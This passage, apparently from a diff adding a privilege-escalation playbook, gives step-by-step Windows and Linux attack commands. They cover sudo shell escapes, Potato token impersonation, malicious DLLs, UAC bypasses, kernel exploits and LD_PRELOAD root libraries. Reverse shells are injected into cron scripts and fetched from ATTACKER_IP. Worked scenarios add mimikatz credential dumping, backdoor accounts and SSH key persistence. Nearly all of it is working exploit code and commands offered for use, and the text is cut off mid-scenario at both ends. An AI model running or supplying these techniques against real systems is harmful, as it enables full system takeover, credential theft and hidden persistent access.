# cp (copy /etc/passwd style attack)
|
|
252
|
+
cp /bin/bash /tmp/rootbash
|
|
253
|
+
chmod +s /tmp/rootbash
|
|
254
|
+
/tmp/rootbash -p
|
|
255
|
+
|
|
256
|
+
# Step 3: Verify privilege gained
|
|
257
|
+
id
|
|
258
|
+
whoami
|
|
259
|
+
```
|
|
260
|
+
|
|
261
|
+
#### Linux: Sudo Misconfiguration
|
|
262
|
+
|
|
263
|
+
```bash
|
|
264
|
+
# Step 1: Check sudo permissions
|
|
265
|
+
sudo -l
|
|
266
|
+
|
|
267
|
+
# Common misconfigurations:
|
|
268
|
+
|
|
269
|
+
# NOPASSWD on all commands
|
|
270
|
+
# (ALL) NOPASSWD: ALL
|
|
271
|
+
sudo /bin/bash
|
|
272
|
+
|
|
273
|
+
# NOPASSWD on specific binary — check GTFOBins
|
|
274
|
+
# Example: (ALL) NOPASSWD: /usr/bin/less
|
|
275
|
+
sudo less /etc/shadow
|
|
276
|
+
!/bin/bash
|
|
277
|
+
|
|
278
|
+
# Sudo with environment variable pass-through (env_keep+=LD_PRELOAD)
|
|
279
|
+
# See ADVANCED section for LD_PRELOAD exploit
|
|
280
|
+
|
|
281
|
+
# Sudo on vim
|
|
282
|
+
sudo vim -c ':!/bin/bash'
|
|
283
|
+
|
|
284
|
+
# Sudo on python
|
|
285
|
+
sudo python3 -c 'import os; os.system("/bin/bash")'
|
|
286
|
+
|
|
287
|
+
# Sudo on nmap
|
|
288
|
+
sudo nmap --interactive
|
|
289
|
+
nmap> !sh
|
|
290
|
+
|
|
291
|
+
# Sudo on awk
|
|
292
|
+
sudo awk 'BEGIN {system("/bin/bash")}'
|
|
293
|
+
|
|
294
|
+
# Sudo on man
|
|
295
|
+
sudo man man
|
|
296
|
+
!bash
|
|
297
|
+
|
|
298
|
+
# Sudo on zip
|
|
299
|
+
TF=$(mktemp -u)
|
|
300
|
+
sudo zip $TF /etc/hosts -T -TT 'bash #'
|
|
301
|
+
sudo rm $TF
|
|
302
|
+
```
|
|
303
|
+
|
|
304
|
+
---
|
|
305
|
+
|
|
306
|
+
### ADVANCED — Kernel Exploits, Token Impersonation, DLL Hijacking
|
|
307
|
+
|
|
308
|
+
#### Windows: Token Impersonation (SeImpersonatePrivilege)
|
|
309
|
+
|
|
310
|
+
SeImpersonatePrivilege is commonly held by IIS AppPool accounts, SQL Server service accounts, and network service accounts.
|
|
311
|
+
|
|
312
|
+
```powershell
|
|
313
|
+
# Step 1: Check privileges
|
|
314
|
+
whoami /priv
|
|
315
|
+
# Look for: SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege
|
|
316
|
+
|
|
317
|
+
# Step 2: Choose the right Potato exploit based on OS version
|
|
318
|
+
# Check OS version:
|
|
319
|
+
(Get-WmiObject Win32_OperatingSystem).BuildNumber
|
|
320
|
+
# 10240-14393 (Win10 early/Server 2016): JuicyPotato
|
|
321
|
+
# 17134+ or if CLSID fails: PrintSpoofer or RoguePotato
|
|
322
|
+
# Server 2019+/Win10 1809+: GodPotato
|
|
323
|
+
|
|
324
|
+
# Step 3a: GodPotato (most universal — works on Win10/11, Server 2012-2022)
|
|
325
|
+
# On attacker:
|
|
326
|
+
wget https://github.com/BeichenDream/GodPotato/releases/latest/download/GodPotato-NET4.exe \
|
|
327
|
+
-O /opt/GodPotato/GodPotato-NET4.exe
|
|
328
|
+
python3 -m http.server 8080
|
|
329
|
+
|
|
330
|
+
# On target:
|
|
331
|
+
Invoke-WebRequest -Uri "http://ATTACKER_IP:8080/GodPotato-NET4.exe" -OutFile "C:\Temp\GodPotato.exe"
|
|
332
|
+
# Execute command as SYSTEM:
|
|
333
|
+
C:\Temp\GodPotato.exe -cmd "cmd /c whoami"
|
|
334
|
+
# Reverse shell:
|
|
335
|
+
C:\Temp\GodPotato.exe -cmd "cmd /c C:\Temp\payload.exe"
|
|
336
|
+
|
|
337
|
+
# Step 3b: PrintSpoofer (Windows 10/Server 2016/2019 with spooler running)
|
|
338
|
+
wget https://github.com/itm4n/PrintSpoofer/releases/latest/download/PrintSpoofer64.exe \
|
|
339
|
+
-O /opt/PrintSpoofer64.exe
|
|
340
|
+
|
|
341
|
+
# On target:
|
|
342
|
+
C:\Temp\PrintSpoofer64.exe -i -c cmd
|
|
343
|
+
# or for reverse shell:
|
|
344
|
+
C:\Temp\PrintSpoofer64.exe -c "C:\Temp\payload.exe"
|
|
345
|
+
|
|
346
|
+
# Step 3c: JuicyPotato (older systems — requires valid CLSID)
|
|
347
|
+
# CLSID list: https://github.com/ohpe/juicy-potato/tree/master/CLSID
|
|
348
|
+
C:\Temp\JuicyPotato.exe -l 1337 -p C:\Temp\payload.exe -t * -c "{F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}"
|
|
349
|
+
```
|
|
350
|
+
|
|
351
|
+
#### Windows: DLL Hijacking
|
|
352
|
+
|
|
353
|
+
```powershell
|
|
354
|
+
# Step 1: Identify DLL hijacking opportunities
|
|
355
|
+
# Method A: Process Monitor (Sysinternals) — filter on NAME NOT FOUND + .dll
|
|
356
|
+
# Method B: Automated with WinPEAS (look for "Possible DLL Hijacking" section)
|
|
357
|
+
|
|
358
|
+
# Step 2: Find writable directories in PATH
|
|
359
|
+
$env:PATH -split ';' | ForEach-Object {
|
|
360
|
+
if (Test-Path $_) {
|
|
361
|
+
$acl = Get-Acl $_
|
|
362
|
+
$acl.Access | Where-Object { $_.FileSystemRights -match 'Write|FullControl' -and $_.IdentityReference -match 'Users|Everyone|Authenticated' }
|
|
363
|
+
if ($acl.Access | Where-Object { $_.FileSystemRights -match 'Write|FullControl' }) { $_ }
|
|
364
|
+
}
|
|
365
|
+
}
|
|
366
|
+
|
|
367
|
+
# Step 3: Identify target DLL from application
|
|
368
|
+
# Example: Application loads "version.dll" from current directory before system path
|
|
369
|
+
|
|
370
|
+
# Step 4: Create malicious DLL (on attacker)
|
|
371
|
+
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4446 -f dll -o /tmp/version.dll
|
|
372
|
+
|
|
373
|
+
# For a custom DLL that also loads the real DLL (proxy DLL — less detection):
|
|
374
|
+
cat > /tmp/proxy.c << 'EOF'
|
|
375
|
+
#include <windows.h>
|
|
376
|
+
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {
|
|
377
|
+
if (fdwReason == DLL_PROCESS_ATTACH) {
|
|
378
|
+
system("cmd.exe /c C:\\Temp\\payload.exe");
|
|
379
|
+
}
|
|
380
|
+
return TRUE;
|
|
381
|
+
}
|
|
382
|
+
EOF
|
|
383
|
+
x86_64-w64-mingw32-gcc -shared -o /tmp/version.dll /tmp/proxy.c -lws2_32
|
|
384
|
+
|
|
385
|
+
# Step 5: Place DLL and trigger (restart service/application)
|
|
386
|
+
copy C:\Temp\version.dll "C:\Program Files\VulnerableApp\version.dll"
|
|
387
|
+
sc stop "VulnerableApp" && sc start "VulnerableApp"
|
|
388
|
+
```
|
|
389
|
+
|
|
390
|
+
#### Windows: UAC Bypass
|
|
391
|
+
|
|
392
|
+
```powershell
|
|
393
|
+
# Step 1: Check UAC level
|
|
394
|
+
(Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System).ConsentPromptBehaviorAdmin
|
|
395
|
+
# 0 = No prompt (no UAC)
|
|
396
|
+
# 2 = Prompt for credentials
|
|
397
|
+
# 5 = Prompt for consent (default)
|
|
398
|
+
|
|
399
|
+
# Step 2: Check if current user is in local admins group
|
|
400
|
+
net localgroup administrators
|
|
401
|
+
# If yes, UAC bypass gives SYSTEM-equivalent without prompt
|
|
402
|
+
|
|
403
|
+
# Method A: fodhelper.exe UAC bypass (Windows 10)
|
|
404
|
+
New-Item -Path HKCU:\Software\Classes\ms-settings\shell\open\command -Force
|
|
405
|
+
New-ItemProperty -Path HKCU:\Software\Classes\ms-settings\shell\open\command -Name DelegateExecute -PropertyType String -Force
|
|
406
|
+
Set-ItemProperty -Path HKCU:\Software\Classes\ms-settings\shell\open\command -Name "(default)" -Value "C:\Temp\payload.exe"
|
|
407
|
+
Start-Process "C:\Windows\System32\fodhelper.exe"
|
|
408
|
+
# Cleanup after:
|
|
409
|
+
Remove-Item -Path HKCU:\Software\Classes\ms-settings -Recurse -Force
|
|
410
|
+
|
|
411
|
+
# Method B: computerdefaults.exe (similar to fodhelper, works on newer Win10/11)
|
|
412
|
+
New-Item -Path HKCU:\Software\Classes\ms-settings\shell\open\command -Force
|
|
413
|
+
New-ItemProperty -Path HKCU:\Software\Classes\ms-settings\shell\open\command -Name DelegateExecute -PropertyType String -Force
|
|
414
|
+
Set-ItemProperty -Path HKCU:\Software\Classes\ms-settings\shell\open\command -Name "(default)" -Value "C:\Temp\payload.exe"
|
|
415
|
+
Start-Process "C:\Windows\System32\computerdefaults.exe"
|
|
416
|
+
Remove-Item -Path HKCU:\Software\Classes\ms-settings -Recurse -Force
|
|
417
|
+
|
|
418
|
+
# Method C: Using UACME (comprehensive UAC bypass toolkit)
|
|
419
|
+
# https://github.com/hfiref0x/UACME
|
|
420
|
+
# Method 33: akagi64.exe 33 C:\Temp\payload.exe
|
|
421
|
+
```
|
|
422
|
+
|
|
423
|
+
#### Linux: Kernel Exploit Identification
|
|
424
|
+
|
|
425
|
+
```bash
|
|
426
|
+
# Step 1: Run linux-exploit-suggester
|
|
427
|
+
curl http://ATTACKER_IP:8080/linux-exploit-suggester.sh -o /tmp/les.sh
|
|
428
|
+
chmod +x /tmp/les.sh
|
|
429
|
+
/tmp/les.sh | tee /tmp/les_output.txt
|
|
430
|
+
|
|
431
|
+
# Step 2: Get kernel version details
|
|
432
|
+
uname -r
|
|
433
|
+
cat /proc/version
|
|
434
|
+
lsb_release -a 2>/dev/null || cat /etc/*release
|
|
435
|
+
|
|
436
|
+
# Step 3: Notable kernel exploits (match version carefully)
|
|
437
|
+
# DirtyPipe (CVE-2022-0847) — Linux 5.8-5.16.10
|
|
438
|
+
uname -r # Must be 5.8 <= version <= 5.16.10
|
|
439
|
+
git clone https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits /tmp/dirtypipe
|
|
440
|
+
cd /tmp/dirtypipe && gcc exploit-1.c -o exploit1 && ./exploit1
|
|
441
|
+
|
|
442
|
+
# DirtyCow (CVE-2016-5195) — Linux < 4.8.3
|
|
443
|
+
searchsploit dirtycow
|
|
444
|
+
searchsploit -m 40839
|
|
445
|
+
gcc -pthread /tmp/40839.c -o /tmp/dirtycow -lcrypt
|
|
446
|
+
/tmp/dirtycow /etc/passwd "root:$6$saltsalt$<hash>:0:0:root:/root:/bin/bash"
|
|
447
|
+
|
|
448
|
+
# PwnKit (CVE-2021-4034) — pkexec SUID (most Linux distros pre-Jan 2022)
|
|
449
|
+
git clone https://github.com/ly4k/PwnKit /tmp/pwnkit
|
|
450
|
+
cd /tmp/pwnkit && make && ./PwnKit
|
|
451
|
+
|
|
452
|
+
# Step 4: Compile on attacker if target lacks gcc
|
|
453
|
+
# Compile for target architecture:
|
|
454
|
+
gcc -static exploit.c -o exploit_static
|
|
455
|
+
# Transfer compiled binary
|
|
456
|
+
```
|
|
457
|
+
|
|
458
|
+
#### Linux: LD_PRELOAD Escalation
|
|
459
|
+
|
|
460
|
+
```bash
|
|
461
|
+
# Step 1: Check for env_keep LD_PRELOAD in sudo
|
|
462
|
+
sudo -l
|
|
463
|
+
# Look for: env_keep+=LD_PRELOAD
|
|
464
|
+
|
|
465
|
+
# Step 2: Create malicious shared library (on target or attacker then transfer)
|
|
466
|
+
cat > /tmp/shell.c << 'EOF'
|
|
467
|
+
#include <stdio.h>
|
|
468
|
+
#include <sys/types.h>
|
|
469
|
+
#include <stdlib.h>
|
|
470
|
+
void _init() {
|
|
471
|
+
unsetenv("LD_PRELOAD");
|
|
472
|
+
setgid(0);
|
|
473
|
+
setuid(0);
|
|
474
|
+
system("/bin/bash");
|
|
475
|
+
}
|
|
476
|
+
EOF
|
|
477
|
+
gcc -fPIC -shared -o /tmp/shell.so /tmp/shell.c -nostartfiles
|
|
478
|
+
|
|
479
|
+
# Step 3: Execute with sudo
|
|
480
|
+
sudo LD_PRELOAD=/tmp/shell.so find / -name nothing 2>/dev/null
|
|
481
|
+
# or any command you have sudo access to:
|
|
482
|
+
sudo LD_PRELOAD=/tmp/shell.so apache2
|
|
483
|
+
```
|
|
484
|
+
|
|
485
|
+
---
|
|
486
|
+
|
|
487
|
+
### EXPERT — Advanced Chains, Credential-Based Escalation, Living off the Land
|
|
488
|
+
|
|
489
|
+
#### Windows: Token Manipulation with Incognito/Meterpreter
|
|
490
|
+
|
|
491
|
+
```powershell
|
|
492
|
+
# Via Meterpreter:
|
|
493
|
+
# meterpreter> use incognito
|
|
494
|
+
# meterpreter> list_tokens -u
|
|
495
|
+
# meterpreter> impersonate_token "NT AUTHORITY\\SYSTEM"
|
|
496
|
+
# meterpreter> getuid
|
|
497
|
+
|
|
498
|
+
# Manual token manipulation with PowerShell:
|
|
499
|
+
# Enable SeDebugPrivilege
|
|
500
|
+
[System.Diagnostics.Process]::GetCurrentProcess().Handle
|
|
501
|
+
|
|
502
|
+
# Steal token from privileged process using P/Invoke
|
|
503
|
+
# (Requires custom script — use PowerSploit's Invoke-TokenManipulation)
|
|
504
|
+
Import-Module C:\Temp\PowerSploit\Exfiltration\Invoke-TokenManipulation.ps1
|
|
505
|
+
Invoke-TokenManipulation -CreateProcess "cmd.exe" -Username "nt authority\system"
|
|
506
|
+
```
|
|
507
|
+
|
|
508
|
+
#### Windows: Service Binary Replacement
|
|
509
|
+
|
|
510
|
+
```powershell
|
|
511
|
+
# Step 1: Find services with weak binary permissions
|
|
512
|
+
# WinPEAS does this; manual check:
|
|
513
|
+
Get-WmiObject Win32_Service | ForEach-Object {
|
|
514
|
+
$path = $_.PathName -replace '"','' -replace '\s.*',''
|
|
515
|
+
if ($path -and (Test-Path $path)) {
|
|
516
|
+
$acl = Get-Acl $path -ErrorAction SilentlyContinue
|
|
517
|
+
if ($acl) {
|
|
518
|
+
$acl.Access | Where-Object {
|
|
519
|
+
$_.FileSystemRights -match 'Write|FullControl|Modify' -and
|
|
520
|
+
$_.IdentityReference -match 'Users|Everyone|Authenticated'
|
|
521
|
+
} | ForEach-Object {
|
|
522
|
+
[PSCustomObject]@{Service=$_.Name; Path=$path; Rights=$_.FileSystemRights}
|
|
523
|
+
}
|
|
524
|
+
}
|
|
525
|
+
}
|
|
526
|
+
}
|
|
527
|
+
|
|
528
|
+
# Step 2: Backup original binary
|
|
529
|
+
copy "C:\Program Files\VulnService\service.exe" "C:\Temp\service.exe.bak"
|
|
530
|
+
|
|
531
|
+
# Step 3: Replace with payload
|
|
532
|
+
copy C:\Temp\payload.exe "C:\Program Files\VulnService\service.exe" /y
|
|
533
|
+
|
|
534
|
+
# Step 4: Restart service
|
|
535
|
+
sc stop VulnService && sc start VulnService
|
|
536
|
+
# Restore after exploitation:
|
|
537
|
+
copy C:\Temp\service.exe.bak "C:\Program Files\VulnService\service.exe" /y
|
|
538
|
+
```
|
|
539
|
+
|
|
540
|
+
#### Linux: Cron Job Writable Script Hijacking
|
|
541
|
+
|
|
542
|
+
```bash
|
|
543
|
+
# Step 1: Enumerate cron jobs
|
|
544
|
+
cat /etc/crontab
|
|
545
|
+
ls -la /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/ /etc/cron.weekly/
|
|
546
|
+
crontab -l 2>/dev/null
|
|
547
|
+
# Check other users crons (if you can read /var/spool/cron)
|
|
548
|
+
ls /var/spool/cron/crontabs/ 2>/dev/null
|
|
549
|
+
|
|
550
|
+
# Step 2: Find writable scripts called by root cron
|
|
551
|
+
# Example crontab entry: */5 * * * * root /opt/scripts/backup.sh
|
|
552
|
+
ls -la /opt/scripts/backup.sh
|
|
553
|
+
# If writable by current user:
|
|
554
|
+
|
|
555
|
+
# Step 3: Inject reverse shell into cron script
|
|
556
|
+
echo 'bash -i >& /dev/tcp/ATTACKER_IP/4447 0>&1' >> /opt/scripts/backup.sh
|
|
557
|
+
|
|
558
|
+
# Alternative — replace script entirely
|
|
559
|
+
cat > /opt/scripts/backup.sh << 'EOF'
|
|
560
|
+
#!/bin/bash
|
|
561
|
+
bash -i >& /dev/tcp/ATTACKER_IP/4447 0>&1
|
|
562
|
+
EOF
|
|
563
|
+
chmod +x /opt/scripts/backup.sh
|
|
564
|
+
|
|
565
|
+
# Step 4: Setup listener and wait
|
|
566
|
+
# On attacker:
|
|
567
|
+
nc -lvnp 4447
|
|
568
|
+
|
|
569
|
+
# Step 5: Check writable PATH directories used by cron
|
|
570
|
+
# If crontab has PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
|
|
571
|
+
# and /usr/local/bin is writable:
|
|
572
|
+
echo '#!/bin/bash' > /usr/local/bin/curl
|
|
573
|
+
echo 'bash -i >& /dev/tcp/ATTACKER_IP/4447 0>&1' >> /usr/local/bin/curl
|
|
574
|
+
chmod +x /usr/local/bin/curl
|
|
575
|
+
# When cron script calls 'curl', yours runs instead
|
|
576
|
+
```
|
|
577
|
+
|
|
578
|
+
#### Linux: Wildcard Injection in Cron
|
|
579
|
+
|
|
580
|
+
```bash
|
|
581
|
+
# If cron runs: tar czf /backup/archive.tar.gz /var/www/html/*
|
|
582
|
+
# and you can write to /var/www/html:
|
|
583
|
+
|
|
584
|
+
# Create files that tar interprets as flags
|
|
585
|
+
echo "" > /var/www/html/--checkpoint=1
|
|
586
|
+
echo "" > "/var/www/html/--checkpoint-action=exec=bash shell.sh"
|
|
587
|
+
|
|
588
|
+
# Create the payload script
|
|
589
|
+
echo '#!/bin/bash' > /var/www/html/shell.sh
|
|
590
|
+
echo 'bash -i >& /dev/tcp/ATTACKER_IP/4448 0>&1' >> /var/www/html/shell.sh
|
|
591
|
+
chmod +x /var/www/html/shell.sh
|
|
592
|
+
|
|
593
|
+
# When tar runs with *, the filenames become flags and shell.sh executes as root
|
|
594
|
+
```
|
|
595
|
+
|
|
596
|
+
---
|
|
597
|
+
|
|
598
|
+
## Step-by-Step Attack Workflow
|
|
599
|
+
|
|
600
|
+
### Windows Privilege Escalation Workflow
|
|
601
|
+
|
|
602
|
+
```
|
|
603
|
+
1. LAND ON HOST
|
|
604
|
+
└─ Verify shell type (cmd/powershell), user context, architecture
|
|
605
|
+
|
|
606
|
+
2. BASIC ENUMERATION (Manual)
|
|
607
|
+
├─ whoami /all → Check privileges and group memberships
|
|
608
|
+
├─ systeminfo → OS version, hotfixes
|
|
609
|
+
├─ net user && net localgroup → User and group inventory
|
|
610
|
+
└─ ipconfig /all && route print → Network position
|
|
611
|
+
|
|
612
|
+
3. AUTOMATED SCAN
|
|
613
|
+
└─ Run WinPEAS or PrivescCheck → Save output for review
|
|
614
|
+
|
|
615
|
+
4. TRIAGE FINDINGS (Priority Order)
|
|
616
|
+
├─ [P1] SeImpersonatePrivilege → Potato/PrintSpoofer → SYSTEM
|
|
617
|
+
├─ [P1] AlwaysInstallElevated → MSI payload → SYSTEM
|
|
618
|
+
├─ [P2] Unquoted service paths → Binary in path → SYSTEM (on restart)
|
|
619
|
+
├─ [P2] Weak service permissions → Replace binary → SYSTEM
|
|
620
|
+
├─ [P2] DLL hijacking → Malicious DLL → SYSTEM
|
|
621
|
+
├─ [P3] UAC bypass → Elevated shell (if local admin)
|
|
622
|
+
├─ [P3] Scheduled tasks → Replace binary/script
|
|
623
|
+
└─ [P4] Registry autoruns → User-level persistence
|
|
624
|
+
|
|
625
|
+
5. EXPLOIT
|
|
626
|
+
└─ Execute chosen technique → Catch shell → Verify SYSTEM
|
|
627
|
+
|
|
628
|
+
6. STABILIZE
|
|
629
|
+
├─ Add admin user (if in scope): net user hacker P@ssw0rd! /add && net localgroup administrators hacker /add
|
|
630
|
+
├─ Dump credentials: Invoke-Mimikatz or mimikatz.exe
|
|
631
|
+
└─ Setup persistence
|
|
632
|
+
|
|
633
|
+
7. DOCUMENT
|
|
634
|
+
└─ Screenshot, log commands, record timestamps
|
|
635
|
+
```
|
|
636
|
+
|
|
637
|
+
### Linux Privilege Escalation Workflow
|
|
638
|
+
|
|
639
|
+
```
|
|
640
|
+
1. LAND ON HOST
|
|
641
|
+
└─ id, uname -a, cat /etc/passwd, cat /proc/version
|
|
642
|
+
|
|
643
|
+
2. BASIC ENUMERATION (Manual)
|
|
644
|
+
├─ sudo -l → Sudo permissions
|
|
645
|
+
├─ find / -perm -u=s 2>/dev/null → SUID binaries
|
|
646
|
+
├─ cat /etc/crontab → Cron jobs
|
|
647
|
+
├─ env → Environment variables
|
|
648
|
+
└─ ps aux → Running processes
|
|
649
|
+
|
|
650
|
+
3. AUTOMATED SCAN
|
|
651
|
+
└─ Run LinPEAS → Save output
|
|
652
|
+
|
|
653
|
+
4. TRIAGE FINDINGS (Priority Order)
|
|
654
|
+
├─ [P1] NOPASSWD sudo ALL → sudo bash → root
|
|
655
|
+
├─ [P1] Exploitable SUID binary → GTFOBins technique → root
|
|
656
|
+
├─ [P1] LD_PRELOAD with sudo → Malicious .so → root
|
|
657
|
+
├─ [P2] Writable cron script → Inject reverse shell
|
|
658
|
+
├─ [P2] Wildcard in cron → Argument injection
|
|
659
|
+
├─ [P2] Writable /etc/passwd → Add root user
|
|
660
|
+
├─ [P3] Kernel exploit match → Compile and run
|
|
661
|
+
└─ [P4] Writable PATH in cron → Binary hijacking
|
|
662
|
+
|
|
663
|
+
5. EXPLOIT
|
|
664
|
+
└─ Execute chosen technique → Verify root with id
|
|
665
|
+
|
|
666
|
+
6. STABILIZE
|
|
667
|
+
├─ Add backdoor user: echo 'backdoor:$6$salt$hash:0:0::/root:/bin/bash' >> /etc/passwd
|
|
668
|
+
├─ SSH key: echo 'ssh-rsa AAAA...' >> /root/.ssh/authorized_keys
|
|
669
|
+
└─ Dump /etc/shadow
|
|
670
|
+
|
|
671
|
+
7. DOCUMENT
|
|
672
|
+
└─ Screenshot, log commands, record timestamps
|
|
673
|
+
```
|
|
674
|
+
|
|
675
|
+
---
|
|
676
|
+
|
|
677
|
+
## Real Attack Scenarios
|
|
678
|
+
|
|
679
|
+
### Scenario 1: IIS Webshell to SYSTEM via Token Impersonation (Windows)
|
|
680
|
+
|
|
681
|
+
**Context:** Exploited file upload vulnerability, obtained webshell running as IIS AppPool\DefaultAppPool.
|
|
682
|
+
|
|
683
|
+
```
|
|
684
|
+
Phase 1 — Upgrade Shell
|
|
685
|
+
```
|
|
686
|
+
```powershell
|
|
687
|
+
# In webshell, download and execute reverse shell
|
|
688
|
+
powershell -c "Invoke-WebRequest http://ATTACKER_IP:8080/nc64.exe -OutFile C:\Temp\nc64.exe; C:\Temp\nc64.exe -e cmd.exe ATTACKER_IP 4444"
|
|
689
|
+
```
|
|
690
|
+
```
|
|
691
|
+
# On attacker:
|
|
692
|
+
nc -lvnp 4444
|
|
693
|
+
# Connected as: IIS APPPOOL\DefaultAppPool
|
|
694
|
+
```
|
|
695
|
+
|
|
696
|
+
```
|
|
697
|
+
Phase 2 — Verify Privilege
|
|
698
|
+
```
|
|
699
|
+
```cmd
|
|
700
|
+
whoami /priv
|
|
701
|
+
# SeImpersonatePrivilege Enabled ← JACKPOT
|
|
702
|
+
```
|
|
703
|
+
|
|
704
|
+
```
|
|
705
|
+
Phase 3 — GodPotato to SYSTEM
|
|
706
|
+
```
|
|
707
|
+
```powershell
|
|
708
|
+
Invoke-WebRequest http://ATTACKER_IP:8080/GodPotato-NET4.exe -OutFile C:\Temp\gp.exe
|
|
709
|
+
Invoke-WebRequest http://ATTACKER_IP:8080/nc64.exe -OutFile C:\Temp\nc64.exe
|
|
710
|
+
|
|
711
|
+
# On attacker (new terminal):
|
|
712
|
+
nc -lvnp 4445
|
|
713
|
+
|
|
714
|
+
# On target:
|
|
715
|
+
C:\Temp\gp.exe -cmd "C:\Temp\nc64.exe -e cmd.exe ATTACKER_IP 4445"
|
|
716
|
+
```
|
|
717
|
+
```
|
|
718
|
+
# Connected as: NT AUTHORITY\SYSTEM
|
|
719
|
+
```
|
|
720
|
+
|
|
721
|
+
```
|
|
722
|
+
Phase 4 — Credential Harvest
|
|
723
|
+
```
|
|
724
|
+
```cmd
|
|
725
|
+
C:\Temp\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
|
|
726
|
+
```
|
|
727
|
+
|
|
728
|
+
**Chain Summary:** Webshell (IIS AppPool) → SeImpersonatePrivilege → GodPotato → SYSTEM → Credential dump
|
|
729
|
+
|
|
730
|
+
---
|
|
731
|
+
|
|
732
|
+
### Scenario 2: Low-Privilege SSH to Root via Sudo Misconfiguration (Linux)
|
|
733
|
+
|
|
734
|
+
**Context:** Obtained SSH credentials for low-privilege user `www-data` from database dump.
|
|
735
|
+
|
|
736
|
+
```
|
|
737
|
+
Phase 1 — Connect and Enumerate
|
|
738
|
+
```
|
|
739
|
+
```bash
|
|
740
|
+
ssh www-data@TARGET_IP
|
|
741
|
+
id
|
|
742
|
+
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
|
|
743
|
+
|
|
744
|
+
sudo -l
|
|
745
|
+
# User www-data may run the following commands on target:
|
|
746
|
+
# (ALL) NOPASSWD: /usr/bin/python3 /opt/scripts/monitor.py
|
|
747
|
+
```
|
|
748
|
+
|
|
749
|
+
```
|
|
750
|
+
Phase 2 — Analyze the Script
|
|
751
|
+
```
|
|
752
|
+
```bash
|
|
753
|
+
cat /opt/scripts/monitor.py
|
|
754
|
+
# import subprocess
|
|
755
|
+
# subprocess.run(['ps', 'aux'])
|
|
756
|
+
# The script imports subprocess — we can abuse Python path
|
|
757
|
+
|
|
758
|
+
ls -la /opt/scripts/
|
|
759
|
+
# -rwxr-xr-x 1 root root ... monitor.py
|
|
760
|
+
# drwxrwxr-x 2 root www-data ... (directory is writable!)
|
|
761
|
+
```
|
|
762
|
+
|
|
763
|
+
```
|
|
764
|
+
Phase 3 — Python Library Hijacking
|
|
765
|
+
```
|
|
766
|
+
```bash
|
|
767
|
+
# Create malicious subprocess.py in the script directory
|
|
768
|
+
cat > /opt/scripts/subprocess.py << 'EOF'
|
|
769
|
+
import os
|
|
770
|
+
os.setuid(0)
|
|
771
|
+
os.setgid(0)
|
|
772
|
+
os.system('/bin/bash -p')
|
|
773
|
+
EOF
|
|
774
|
+
|
|
775
|
+
sudo /usr/bin/python3 /opt/scripts/monitor.py
|
|
776
|
+
# Python loads /opt/scripts/subprocess.py before system subprocess
|
|
777
|
+
```
|
|
778
|
+
```
|
|
779
|
+
# id → uid=0(root) gid=0(root)
|
|
780
|
+
```
|
|
781
|
+
|
|
782
|
+
```
|
|
783
|
+
Phase 4 — Establish Persistence
|
|
784
|
+
```
|
|
785
|
+
```bash
|
|
786
|
+
echo 'ssh-rsa AAAA...[attacker-key]...' >> /root/.ssh/authorized_keys
|
|
787
|
+
chmod 600 /root/.ssh/authorized_keys
|
|
788
|
+
```
|
|
789
|
+
|
|
790
|
+
**Chain Summary:** SSH (www-data) → sudo NOPASSWD python3 → Writable script directory → Python hijack → root
|
|
791
|
+
|
|
792
|
+
---
|
|
793
|
+
|
|
794
|
+
### Scenario 3: Domain User to Local SYSTEM via Unquoted Path + UAC Bypass (Windows)
|
|
795
|
+
|
|
796
|
+
**Context:** Phishing gave low-privilege domain user shell. User is local admin but UAC is enabled.
|
|
797
|
+
|
|
798
|
+
```
|
|
799
|
+
Phase 1 — Enumerate Services
|
|
800
|
+
```
|
|
801
|
+
```powershell
|
|
802
|
+
# Check for unquoted paths
|
|
803
|
+
wmic service get name,pathname,startmode | findstr /i "auto" | findstr /i /v '"' | findstr /i /v "C:\Windows"
|
|
804
|
+
# VulnerableApp C:\Program Files\Vulnerable App\bin\app.exe Auto
|
|
805
|
+
```
|
|
806
|
+
|
|
807
|
+
```
|
|
808
|
+
Phase 2 — Verify Write Permissions
|
|
809
|
+
```
|
|
810
|
+
```powershell
|
|
811
|
+
icacls "C:\Program Files\Vulnerable App"
|
|
812
|
+
# BUILTIN\Users:(W) ← writable!
|
|
813
|
+
```
|
|
814
|
+
|
|
815
|
+
```
|
|
816
|
+
Phase 3 — Place Malicious Binary
|
|
817
|
+
```
|
|
818
|
+
```powershell
|
|
819
|
+
# On attacker:
|
|
820
|
+
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4446 -f exe -o /tmp/Vulnerable.exe
|
|
821
|
+
python3 -m http.server 8080
|
|
822
|
+
|
|
823
|
+
# On target:
|
|
824
|
+
Invoke-WebRequest http://ATTACKER_IP:8080/Vulnerable.exe -OutFile "C:\Program Files\Vulnerable.exe"
|
|
825
|
+
# nc -lvnp 4446 on attacker, then:
|
|
826
|
+
sc stop VulnerableApp && sc start VulnerableApp
|
|
827
|
+
```
|
|
828
|
+
```
|
|
829
|
+
# Shell returns as SYSTEM (service runs as LocalSystem)
|
|
830
|
+
```
|
|
831
|
+
|
|
832
|
+
**Alternative — UAC Bypass if needing admin context first:**
|
|
833
|
+
```powershell
|
|
834
|
+
# User is local admin, UAC blocks elevation
|
|
835
|
+
# Use fodhelper bypass to get elevated cmd, then use Potato for SYSTEM
|
|
836
|
+
$cmd = "C:\Temp\payload.exe"
|
|
837
|
+
New-Item -Path "HKCU:\Software\Classes\ms-settings\shell\open\command" -Force
|
|
838
|
+
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\shell\open\command" -Name "DelegateExecute" -Value "" -Force
|
|
839
|
+
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\shell\open\command" -Name "(Default)" -Value $cmd
|
|
840
|
+
Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden
|
|
841
|
+
Start-Sleep 3
|
|
842
|
+
